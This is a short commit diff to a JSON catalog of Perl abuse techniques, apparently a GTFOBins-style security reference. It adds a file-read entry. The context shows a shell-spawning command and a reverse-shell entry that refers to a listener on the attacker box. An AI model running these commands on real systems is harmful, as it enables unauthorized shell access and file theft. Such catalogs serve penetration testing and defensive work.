add file read function to perl

data/perl.json

@@ -5,6 +5,11 @@
         "code": "perl -e 'exec \"/bin/sh\";'"
       }
     ],
+    "file-read": [
+      {
+        "code": "perl -ne print [file]"
+      }
+    ],
     "reverse-shell": [
       {
         "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
@@ -27,4 +32,4 @@
       }
     ]
   }
-}
+}